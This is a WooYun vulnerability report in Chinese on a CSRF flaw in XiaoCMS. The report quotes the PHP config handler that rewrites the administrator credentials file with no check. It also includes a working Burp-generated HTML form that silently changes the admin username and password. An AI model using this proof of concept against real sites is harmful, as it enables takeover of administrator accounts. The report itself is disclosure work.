当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067402

漏洞标题:XiaoCMS设计缺陷可CSRF改管理员用户名/密码

相关厂商:XiaoCMS

漏洞作者: 路人甲

提交时间:2014-07-04 18:53

修复时间:2014-10-02 18:56

公开时间:2014-10-02 18:56

漏洞类型:CSRF

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-10-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

csrf

详细说明:

这个设计真的很难理解,修改密码的地方也可以直接修改管理员用户名,而且不是存在数据库中,而是将用户名密码存在/data/config/admin.ini.php中

public function configAction() {
$admin = xiaocms::load_config('admin');
$data = $this->site_config;
if ($this->post('submit')) {
$postadmin = $this->post('admin');
if(empty($postadmin['admin_pass']) )
$postadmin['admin_pass'] =$admin['admin_pass'];
else
$postadmin['admin_pass'] = md5(md5($postadmin['admin_pass']));
$admin_arr = var_export($postadmin,true);
$admin_txt = "<?php" . PHP_EOL . "if (!defined('IN_XIAOCMS')) exit();" . PHP_EOL . "return " . $admin_arr. ";";
file_put_contents(DATA_DIR . 'config' . DIRECTORY_SEPARATOR . 'admin.ini.php', $admin_txt);
$configdata = $this->post('data');
$configdata['rand_code']= md5(microtime());
$config_arr = var_export($configdata,true);
$config_txt = "<?php" . PHP_EOL . "if (!defined('IN_XIAOCMS')) exit();" . PHP_EOL . "return " . $config_arr. ";";
file_put_contents(DATA_DIR . 'config' . DIRECTORY_SEPARATOR . 'config.ini.php', $config_txt);
$this->show_message('修改成功', 1, url('index/config', array('type'=>$this->get('type'))));
}
$file_list=glob(TEMPLATE_DIR.'*');
$arr= array();
foreach($file_list as $v) {
if(is_dir($v))
$arr[] = basename ($v);
}
$theme = array_diff($arr, array('mobile'));
$type = $this->get('type') ? $this->get('type') : 1;
$membermodel = get_cache('member_model');
include $this->admin_tpl('config');
}


可以看到,所谓的修改密码,其实就是往配置文件中写入新的密码,同时没有做任何校验,所以用户名和密码两个参数都可以随便更改。
懒得动手就直接拿burp生成的poc测试下:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/xiaocms/admin/index.php?c=index&a=config&type=3" method="POST">
<input type="hidden" name="data&#91;site&#95;name&#93;" value="XiaoCmsä&#188;&#129;ä&#184;&#154;å&#187;ºç&#171;&#153;ç&#137;&#136;" />
<input type="hidden" name="data&#91;site&#95;theme&#93;" value="default" />
<input type="hidden" name="data&#91;site&#95;mobile&#93;" value="1" />
<input type="hidden" name="data&#91;site&#95;title&#93;" value="XiaoCmsæ&#188;&#148;ç&#164;ºç&#171;&#153;" />
<input type="hidden" name="data&#91;site&#95;keywords&#93;" value="xiaocms" />
<input type="hidden" name="data&#91;site&#95;description&#93;" value="æ&#172;&#162;è&#191;&#142;ä&#189;&#191;ç&#148;&#168;xiaocmså&#134;&#133;å&#174;&#185;ç&#174;&#161;ç&#144;&#134;ç&#179;&#187;ç&#187;&#159;&#32;å&#174;&#152;æ&#150;&#185;ç&#189;&#145;ç&#171;&#153;ï&#188;&#154;http&#58;&#47;&#47;www&#46;xiaocms&#46;com" />
<input type="hidden" name="data&#91;site&#95;download&#95;image&#93;" value="1" />
<input type="hidden" name="data&#91;admin&#95;template&#93;" value="1" />
<input type="hidden" name="data&#91;admin&#95;list&#95;size&#93;" value="10" />
<input type="hidden" name="data&#91;site&#95;status&#93;" value="2&#124;å&#164;&#180;æ&#157;&#161;&#13;&#10;3&#124;æ&#142;&#168;è&#141;&#144;&#13;&#10;0&#124;æ&#156;ªå&#174;&#161;æ&#160;&#184;" />
<input type="hidden" name="data&#91;site&#95;watermark&#93;" value="0" />
<input type="hidden" name="data&#91;site&#95;watermark&#95;pos&#93;" value="9" />
<input type="hidden" name="admin&#91;admin&#95;name&#93;" value="test" />
<input type="hidden" name="admin&#91;admin&#95;pass&#93;" value="111111" />
<input type="hidden" name="data&#91;member&#95;modelid&#93;" value="5" />
<input type="hidden" name="data&#91;member&#95;register&#93;" value="1" />
<input type="hidden" name="data&#91;member&#95;status&#93;" value="1" />
<input type="hidden" name="data&#91;member&#95;regcode&#93;" value="1" />
<input type="hidden" name="data&#91;member&#95;logincode&#93;" value="1" />
<input type="hidden" name="data&#91;diy&#95;url&#93;" value="0" />
<input type="hidden" name="data&#91;list&#95;url&#93;" value="&#123;catdir&#125;&#47;" />
<input type="hidden" name="data&#91;list&#95;page&#95;url&#93;" value="&#123;catdir&#125;&#47;list&#95;&#123;page&#125;&#46;html" />
<input type="hidden" name="data&#91;show&#95;url&#93;" value="&#123;catdir&#125;&#47;&#123;id&#125;&#46;html" />
<input type="hidden" name="data&#91;show&#95;page&#95;url&#93;" value="&#123;catdir&#125;&#47;&#123;id&#125;&#95;&#123;page&#125;&#46;html" />
<input type="hidden" name="submit" value="æ&#143;&#144;äº&#164;" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


用户名密码改成test,111111

QQ20140704-1.png


QQ20140704-2.png


QQ20140704-3.png


QQ20140704-4.png


QQ20140704-5.png

漏洞证明:

QQ20140704-1.png


QQ20140704-2.png


QQ20140704-3.png


QQ20140704-4.png


QQ20140704-5.png

修复方案:

xx

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝